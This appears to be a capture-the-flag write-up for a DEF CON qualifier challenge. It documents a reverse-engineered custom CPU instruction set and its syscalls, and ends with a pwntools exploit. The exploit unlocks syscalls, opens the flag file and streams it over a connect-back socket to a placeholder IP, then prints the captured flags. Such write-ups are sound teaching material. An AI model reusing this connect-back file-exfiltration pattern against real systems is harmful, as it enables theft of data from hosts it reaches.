Author: zhangyoufu @ Blue-Lotus
opcode[5] rd[3] imm[8]
00001: mem[GPR[rd]] = imm8
00011: GPR[rd] |= imm8 << 8
00101: GPR[rd] = (BYTE) mem[PC+imm8+2]
00111: (BYTE) mem[PC+imm8+2] = GPR[rd]
01001: GPR[rd] = (WORD) mem[PC+imm8+2]
01011: (WORD) mem[PC+imm8+2] = GPR[rd]
opcode[5] rd[3] op2[4] op1[4]
00000: GPR[rd] = GPR[op1] + GPR[op2]
00010: GPR[rd] = GPR[op1] & GPR[op2]
00100: GPR[rd] = GPR[op1] | GPR[op2]
00110: GPR[rd] = GPR[op1] - GPR[op2]
01000: GPR[rd] = GPR[op1] ^ GPR[op2]
01010: GPR[rd] = GPR[op1] * GPR[op2] (signed)
01100: GPR[rd] = GPR[op1] >> GPR[op2] (signed)
01110: GPR[rd] = GPR[op1] << GPR[op2]
01101: cmp, gpr[rd] = sgn( GPR[op1] - GPR[op2] )
opcode[4] amount[1](8/16) off[11]
1000: call, move GPR window, GPR[last] = PC, PC += off11 << 1
opcode[4] off[8] cond[4]
1001: if( GPR[cond] == 0 ) PC += sext16( off8 << 1 )
1010: if( GPR[cond] != 0 ) PC += sext16( off8 << 1 )
1011: if( GPR[cond] < 0 ) PC += sext16( off8 << 1 )
1100: if( GPR[cond] > 0 ) PC += sext16( off8 << 1 )
opcode[4] off[12]
1101: PC += sext16( off12 << 1 )
opcode[4] amount[1](4/8) off[10] ignore[1]
1110: bulk load registers in reverse order
opcode[8] rd[4] cond[4]
11110000: if( GPR[cond] == 0 ) PC += GPR[rd] & 0xFFFE
11110001: if( GPR[cond] != 0 ) PC += GPR[rd] & 0xFFFE
11110010: if( GPR[cond] < 0 ) PC += GPR[rd] & 0xFFFE
11110011: if( GPR[cond] > 0 ) PC += GPR[rd] & 0xFFFE
opcode[8] rs[4] rd[4]
11110100: GPR[rd] = -GPR[rs]
11110101: GPR[rd] = GPR[rs]
11110110: PC += GPR[rs] & 0xFFFE
opcode[8] rs[4] ignore[4]
11110111: call_reg, move GPR window(reuse rs[3], 8/16), GPR[last] = PC, PC += GPR[rs] & 0xFFFE
opcode[8] amount[1](8/16) ignore[7]
11111000: ret, move GPR window backwards
opcode[8] rd[4] ignore[4]
11111001: syscall( GPR[rd] )
0xFA0: GPR[0]:GPR[1] = time(0)
0xFA1: fp[??] = fopen( GPR[1], "r" )
0xFA2: fclose( fp[GPR[1]] )
0xFA3: fread( GPR[3], 1, GPR[2], fp[GPR[1]] )
0xFA4: fd[??] = socket()
0xFA5: read( fd[GPR[1]], GPR[3], GPR[2] )
0xFA6: write( fd[GPR[1]], GPR[3], GPR[2] )
0xFA7: close( fd[GPR[1]] )
0xFA8: halt
0xFA9: connect( fd[GPR[1]], (GPR[2]<<16|GPR[3],GPR[4]) )
0xFAA: bind( fd[GPR[1]], (0,GPR[2]) ); listen( fd[GPR[1]], 3 )
0xFAB: accept( fd[GPR[1]], NULL, 0 )
default: raise 5
opcode[8] ignore[6] sub-opcode[2]
11111010??????00: GPR[0] = rnd_1; GPR[1] = rnd_2
11111010??????01: GPR[0] = lock
11111010??????10: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 1
11111010??????11: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 0
call/ret instruction moves the register window. You won't use this feature in your code.
The syscall is locked by default. To lock/unlock syscall, you must perform some calculation on the two random numbers and pass the check @ sub_2778
.
There's a plenty of syscalls, but the only way to cat flag is connecting back:
- fopen is hardcoded with read-only mode
- accept doesn't keep the new fd in the internal structure, thus renders it inaccessible
- although the fd array is initialized with 0, there is a boundary check stops us from using fd 0; raise this limit will overwrite 0 with fd/-1
Passing negative size to rw/rb commands bypasses size limit to some extent
If you want to inspect register values, just trigger an undefined instruction exception.
If you want single step debugging, patch sub_2A92 and let it return.
from pwn import *
import socket
import sys
target = ( 'shitcpu_5f766bf9fb92aead0ae2de76ea57f21c.quals.shallweplayaga.me', 19192 )
connback = ( 'PUT_YOUR_IP_HERE', 1337 )
try:
path = sys.argv[1]
except:
path = '/home/shitcpu/flag'
context.bits = 16
context.endian = 'big'
align = lambda s: s+'\0' if len(s) & 1 else s
bswap16 = lambda s: ''.join( s[i:i+2][::-1] for i in xrange( 0, len(s), 2 ))
string = lambda s: bswap16( align( s ))
connback_ip = bswap16( socket.inet_aton( connback[0] ))
connback_port = pack( connback[1], endianness='little' )
program = flat(
## Unlock syscall
0xFA01, # GPR[0], GPR[1] = rand_1, rand_2
0x5210, # GPR[2] = GPR[0] * GPR[1]
0x6B10, # GPR[3] = cmp( GPR[0], GPR[1] )
0xC013, # if GPR[3] > 0: goto PC+1*2
0xF422, # GPR[2] = -GPR[2]
0x6B12, # GPR[3] = cmp( GPR[1], GPR[2] )
0xC013, # if GPR[3] > 0: goto PC+1*2
0xF510, # GPR[0] = GPR[1]
0x4120, # GPR[1] = GPR[0] ^ GPR[2]
0xF520, # GPR[0] = GPR[2]
0xFA03, # unlock
## Prepare file and socket
0xE00C, # load GPR[3~0]
0xF900, # syscall GPR[0] (fopen)
0xF930, # syscall GPR[3] (socket)
0xE808, # load GPR[7~0]
0xF900, # syscall GPR[0] (connect)
## Prepare for the pump loop
0xE814, # load GPR[7~0]
0xD013, # goto PC+19*2
## Constants
0x0FA4, # GPR[3] = SYSCALL_SOCKET
0x0005, # GPR[2] = 5
0x0000, # GPR[1] = filename
0x0FA1, # GPR[0] = SYSCALL_FOPEN
connback_port, # GPR[4] = port
connback_ip, # GPR[3] = lo( IPv4 ), GPR[2] = hi( IPv4 )
0x0000, # GPR[1] = 0
0x0FA9, # GPR[0] = SYSCALL_CONNECT = 0x0FA9
0x0FA8, # GPR[7] = SYSCALL_EXIT
0x0FA6, # GPR[6] = SYSCALL_WRITE
0x0FA3, # GPR[5] = SYSCALL_FREAD
0x0100, # GRP[4] = max_size = 0x100
0x0000, # GPR[3] = buffer = 0x3F00
0x0100, # GPR[2] = size = 0x100
0x0000, # GPR[1] = GPR[1] ^ GPR[1] = 0
## Pump from file to socket
0xF502, # GPR[2] = GPR[0]
0xF960, # syscall GPR[6] (write)
0xF542, # GPR[2] = GPR[4]
0xF950, # syscall GPR[5] (fread)
0xCFB0, # if GPR[0] > 0: goto PC+(-5)*2
## Exit
0xF970, # syscall GPR[7] (exit)
)
def load( base, data ):
data = align( data )
conn.send( ''.join( 'ww %X %X\n' % (base+i,u16(data[i:i+2])) for i in xrange( 0, len( data ), 2 ) if u16(data[i:i+2])))
conn = remote( *target )
load( 0x0000, string( path ) )
load( 0x4000, program )
conn.sendline( 'run' )
conn.recvuntil( 'Simulation ending.' )
FYI, the flag changes over time.
The flag is: Nice r3v3rsing skilzz, what a shitty CPU tho!@1337
The flag is: Later, shitlords